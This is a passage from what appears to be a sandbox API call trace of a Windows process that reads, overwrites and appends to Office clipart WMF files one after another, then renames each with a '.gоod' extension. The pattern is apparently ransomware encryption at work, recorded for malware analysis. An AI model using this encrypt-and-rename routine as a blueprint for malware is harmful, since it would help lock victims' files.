ftLastWriteTime.dwLowDateTime=0x91caeb67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c0)) returned 1 [0250.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0250.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.gоod")) returned 1 [0250.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0250.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0250.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39357a0 | out: lpFileInformation=0x39357a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae)) returned 1 [0250.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0250.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0250.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0250.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0252.324] GetFileType (hFile=0x858) returned 0x1 [0252.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0252.324] GetFileType (hFile=0x858) returned 0x1 [0253.685] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0253.685] ReadFile (in: hFile=0x858, lpBuffer=0x3b102a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3b102a8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0253.687] CloseHandle (hObject=0x858) returned 1 [0253.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0253.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.687] GetFileType (hFile=0x858) returned 0x1 [0253.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.688] GetFileType (hFile=0x858) returned 0x1 [0253.688] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x20ae [0253.688] WriteFile (in: hFile=0x858, lpBuffer=0x3b13840*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3b13840*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0253.726] CloseHandle (hObject=0x858) returned 1 [0253.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0253.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.727] GetFileType (hFile=0x858) returned 0x1 [0253.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.727] GetFileType (hFile=0x858) returned 0x1 [0253.727] ReadFile (in: hFile=0x858, lpBuffer=0x3b82dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b82dc8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0253.803] CloseHandle (hObject=0x858) returned 1 [0253.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0253.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.803] GetFileType (hFile=0x858) returned 0x1 [0253.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.803] GetFileType (hFile=0x858) returned 0x1 [0253.803] WriteFile (in: hFile=0x858, lpBuffer=0x39c05d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x39c05d0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0253.804] CloseHandle (hObject=0x858) returned 1 [0253.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", lpFilePart=0x0) returned 0x44 [0253.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0253.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0253.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x937cd6cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20be)) returned 1 [0253.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0253.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.gоod")) returned 1 [0253.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0253.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0253.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3a105e8 | out: lpFileInformation=0x3a105e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370)) returned 1 [0253.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0253.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0253.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.808] GetFileType (hFile=0x858) returned 0x1 [0253.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.808] GetFileType (hFile=0x858) returned 0x1 [0253.808] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0253.808] ReadFile (in: hFile=0x858, lpBuffer=0x3a10a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a10a00*, lpNumberOfBytesRead=0x1faedd28*=0x370, lpOverlapped=0x0) returned 1 [0253.809] CloseHandle (hObject=0x858) returned 1 [0253.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0253.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.809] GetFileType (hFile=0x858) returned 0x1 [0253.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.809] GetFileType (hFile=0x858) returned 0x1 [0253.809] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1370 [0253.809] WriteFile (in: hFile=0x858, lpBuffer=0x3a11c98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a11c98*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0253.809] CloseHandle (hObject=0x858) returned 1 [0253.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0253.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0253.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0253.810] GetFileType (hFile=0x858) returned 0x1 [0253.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0253.810] GetFileType (hFile=0x858) returned 0x1 [0253.810] ReadFile (in: hFile=0x858, lpBuffer=0x3a13f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a13f58*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0254.072] CloseHandle (hObject=0x858) returned 1 [0254.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0254.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0254.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.073] GetFileType (hFile=0x858) returned 0x1 [0254.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0254.073] GetFileType (hFile=0x858) returned 0x1 [0254.073] WriteFile (in: hFile=0x858, lpBuffer=0x39bfd60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x39bfd60*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0254.073] CloseHandle (hObject=0x858) returned 1 [0254.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", lpFilePart=0x0) returned 0x44 [0254.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0254.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0254.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93a8360d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1380)) returned 1 [0254.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0254.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.gоod")) returned 1 [0254.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0254.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3b4c720 | out: lpFileInformation=0x3b4c720*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4)) returned 1 [0254.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0254.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0254.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.076] GetFileType (hFile=0x858) returned 0x1 [0254.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0254.076] GetFileType (hFile=0x858) returned 0x1 [0254.076] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0254.076] ReadFile (in: hFile=0x858, lpBuffer=0x3b4cb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3b4cb38*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0254.077] CloseHandle (hObject=0x858) returned 1 [0254.077] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0254.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.077] GetFileType (hFile=0x858) returned 0x1 [0254.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0254.078] GetFileType (hFile=0x858) returned 0x1 [0254.078] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x31f4 [0254.078] WriteFile (in: hFile=0x858, lpBuffer=0x3b4ddd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3b4ddd0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0254.078] CloseHandle (hObject=0x858) returned 1 [0254.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0254.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.079] GetFileType (hFile=0x858) returned 0x1 [0254.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0254.079] GetFileType (hFile=0x858) returned 0x1 [0254.079] ReadFile (in: hFile=0x858, lpBuffer=0x3b50090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b50090*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0254.112] CloseHandle (hObject=0x858) returned 1 [0254.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0254.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.113] GetFileType (hFile=0x858) returned 0x1 [0254.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0254.113] GetFileType (hFile=0x858) returned 0x1 [0254.113] WriteFile (in: hFile=0x858, lpBuffer=0x3b4ede8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3b4ede8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0254.113] CloseHandle (hObject=0x858) returned 1 [0254.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", lpFilePart=0x0) returned 0x44 [0254.113] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0254.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0254.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93ac95f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3204)) returned 1 [0254.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0254.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.gоod")) returned 1 [0254.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 